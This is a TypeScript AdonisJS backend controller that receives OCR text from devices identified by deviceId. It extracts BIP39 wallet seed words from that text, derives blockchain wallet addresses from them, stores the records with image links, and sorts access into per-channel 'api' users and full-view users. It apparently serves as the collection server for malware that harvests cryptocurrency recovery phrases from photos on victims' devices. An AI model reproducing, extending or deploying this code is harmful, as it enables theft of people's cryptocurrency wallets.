OcrRecordController.ts 9.2 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260
  1. import { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
  2. import PaginationService from 'App/Services/PaginationService'
  3. import { schema } from '@ioc:Adonis/Core/Validator'
  4. import OcrRecord from 'App/Models/OcrRecord'
  5. import Drive from '@ioc:Adonis/Core/Drive'
  6. import BlockchainWalletService from 'App/Services/BlockchainWalletService'
  7. import * as bip39 from 'bip39'
  8. import { HttpStatusCode } from 'axios'
  9. import { HttpException } from '@adonisjs/http-server/build/src/Exceptions/HttpException'
  10. export default class OcrRecordController {
  11. private paginationService = new PaginationService(OcrRecord)
  12. public async index({ request, auth }: HttpContextContract) {
  13. const user = auth.user
  14. const isApiUser = user?.$attributes?.role === 'api'
  15. const requestData = request.all()
  16. if (isApiUser) {
  17. requestData.channel = user.username
  18. }
  19. const res = await this.paginationService.paginate(requestData)
  20. if (isApiUser) {
  21. res.forEach((record) => {
  22. record.content = ''
  23. record.record = ''
  24. record.img = ''
  25. })
  26. } else {
  27. await Promise.all(
  28. res.map(async (record) => {
  29. if (record.img && record.img !== '-') {
  30. record.img = await Drive.getSignedUrl(
  31. new URL(record.img).pathname.replace(/^\//, '')
  32. )
  33. }
  34. })
  35. )
  36. }
  37. return res
  38. }
  39. public async store({ request, bouncer }: HttpContextContract) {
  40. // await bouncer.authorize('admin')
  41. await request.validate({
  42. schema: schema.create({
  43. deviceId: schema.string(),
  44. record: schema.string()
  45. })
  46. })
  47. const data = request.all()
  48. data.content = await this.recordParsing(data.record)
  49. data.detail = await BlockchainWalletService.getAllAddresses(data.content)
  50. return await OcrRecord.create(data)
  51. }
  52. public async updateContent({ request, response }: HttpContextContract) {
  53. const data = await request.validate({
  54. schema: schema.create({
  55. id: schema.number(),
  56. content: schema.string()
  57. })
  58. })
  59. const record = await OcrRecord.findBy('id', request.input('id'))
  60. if (record) {
  61. record.content = data.content
  62. await record.save()
  63. return response.ok(record)
  64. } else {
  65. return response.notFound({ message: 'Record not found' })
  66. }
  67. }
  68. public async updateDetail({ params, response }: HttpContextContract) {
  69. const record = await OcrRecord.findBy('id', params.id)
  70. if (record) {
  71. const walletAddresses = await BlockchainWalletService.getAllAddresses(record.content)
  72. record.detail = JSON.stringify(walletAddresses)
  73. await record.save()
  74. return response.ok(record)
  75. } else {
  76. return response.notFound({ message: 'Record not found.' })
  77. }
  78. }
  79. public async updateFavorite({ params, response }: HttpContextContract) {
  80. const record = await OcrRecord.findBy('id', params.id)
  81. if (record) {
  82. record.favorite = !record.favorite
  83. await record.save()
  84. return response.ok(record)
  85. } else {
  86. return response.notFound({ message: 'Record not found.' })
  87. }
  88. }
  89. public async favorite({ request, auth }: HttpContextContract) {
  90. const user = auth.user
  91. const isApiUser = user?.$attributes?.role === 'api'
  92. const requestData = request.all()
  93. requestData.favorite = 1
  94. if (isApiUser) {
  95. requestData.channel = user.username
  96. }
  97. const res = await this.paginationService.paginate(requestData)
  98. if (isApiUser) {
  99. res.forEach((record) => {
  100. record.content = ''
  101. record.record = ''
  102. record.img = ''
  103. })
  104. } else {
  105. await Promise.all(
  106. res.map(async (record) => {
  107. if (record.img && record.img !== '-') {
  108. record.img = await Drive.getSignedUrl(
  109. new URL(record.img).pathname.replace(/^\//, '')
  110. )
  111. }
  112. })
  113. )
  114. }
  115. return res
  116. }
  117. public async getAllAddresses({ request }: HttpContextContract) {
  118. await request.validate({
  119. schema: schema.create({
  120. mnemonic: schema.string()
  121. })
  122. })
  123. return BlockchainWalletService.getAllAddresses(request.input('mnemonic'))
  124. }
  125. public async recordParsing(record: string) {
  126. // 解析记录字符串
  127. const lines = record.split('\n')
  128. if (record.includes('Rec:') && record.includes('Det:')) {
  129. // 提取所有Rec:后面的文本
  130. lines
  131. .filter((line) => line.includes('Rec:'))
  132. .map((line) => {
  133. const parts = line.split('Rec:')
  134. if (parts.length < 2) return ''
  135. // 获取Rec:之后、Cls:之前的部分
  136. const afterRec = parts[1]
  137. const beforeCls = afterRec.split('Cls:')[0]
  138. // 找到最后一个逗号的位置
  139. const lastCommaIndex = beforeCls.lastIndexOf(',')
  140. // 如果找到逗号,提取逗号之前的文本;否则使用整个文本
  141. return lastCommaIndex !== -1
  142. ? beforeCls.substring(0, lastCommaIndex).trim()
  143. : beforeCls.trim()
  144. })
  145. .filter((text) => text.length > 0)
  146. }
  147. // 从文本中提取潜在的助记词
  148. const potentialWords = new Set<string>()
  149. const englishWordRegex = /[a-zA-Z]+/g
  150. // 遍历所有行提取英文单词
  151. lines.forEach((line) => {
  152. const words = line.match(englishWordRegex)
  153. if (words) {
  154. words.forEach((word) => {
  155. // 忽略数字和分数值
  156. if (!word.includes('.') && isNaN(Number(word))) {
  157. potentialWords.add(word.toLowerCase())
  158. }
  159. })
  160. }
  161. })
  162. // 过滤出可能是BIP39助记词的单词
  163. const potentialBip39Words = Array.from(potentialWords).filter((word) => {
  164. // 使用bip39.wordlists.english检查单词是否在BIP39词表中
  165. return bip39.wordlists.english.includes(word)
  166. })
  167. // 寻找连续助记词序列
  168. const possibleMnemonics = await this.findPossibleMnemonics(lines, potentialBip39Words)
  169. console.log('Potential BIP39 words:', potentialBip39Words.toString())
  170. console.log('Potential mnemonics:', possibleMnemonics.toString())
  171. // 将所有可能的助记词合并为一个字符串返回
  172. if (possibleMnemonics.length < potentialBip39Words.length) {
  173. return potentialBip39Words.join(' ')
  174. }
  175. return possibleMnemonics.join(' ')
  176. }
  177. // 寻找可能的助记词序列
  178. private async findPossibleMnemonics(
  179. recTexts: string[],
  180. bip39Words: string[]
  181. ): Promise<string[]> {
  182. const mnemonics: string[] = []
  183. // 检查每行文本是否包含连续地助记词
  184. recTexts.forEach((text) => {
  185. const words = text.split(/\s+/)
  186. // 检查这一行是否包含多个BIP39词
  187. const bip39WordsInLine = words.filter((word) => {
  188. // 清理单词中的标点符号以及数字
  189. const cleanWord = word.replace(/[.,;:!?0-9]/g, '')
  190. return bip39Words.includes(cleanWord)
  191. })
  192. // 如果找到多个BIP39词,可能是助记词序列
  193. if (bip39WordsInLine.length >= 3) {
  194. // mnemonics存入bip39WordsInLine中每一个元素
  195. bip39WordsInLine.map((word) => {
  196. mnemonics.push(word)
  197. })
  198. }
  199. })
  200. // 尝试从所有文本中提取12或24个词的序列
  201. // const allWords = recTexts.join(' ').split(/\s+/)
  202. // const bip39WordsInAll = allWords.filter((word) => {
  203. // const cleanWord = word.replace(/[.,;:!?]/g, '')
  204. // return bip39Words.includes(cleanWord)
  205. // })
  206. //
  207. // bip39WordsInAll.map((word) => {
  208. // mnemonics.push(word)
  209. // })
  210. // 查找12词或24词的连续序列
  211. // for (let i = 0; i <= bip39WordsInAll.length - 12; i++) {
  212. // const possibleMnemonic = bip39WordsInAll.slice(i, i + 12).join(' ')
  213. // if (bip39.validateMnemonic(possibleMnemonic)) {
  214. // mnemonics.push(possibleMnemonic)
  215. // }
  216. // }
  217. //
  218. // for (let i = 0; i <= bip39WordsInAll.length - 24; i++) {
  219. // const possibleMnemonic = bip39WordsInAll.slice(i, i + 24).join(' ')
  220. // if (bip39.validateMnemonic(possibleMnemonic)) {
  221. // mnemonics.push(possibleMnemonic)
  222. // }
  223. // }
  224. // 返回去重后的助记词列表
  225. return mnemonics
  226. }
  227. }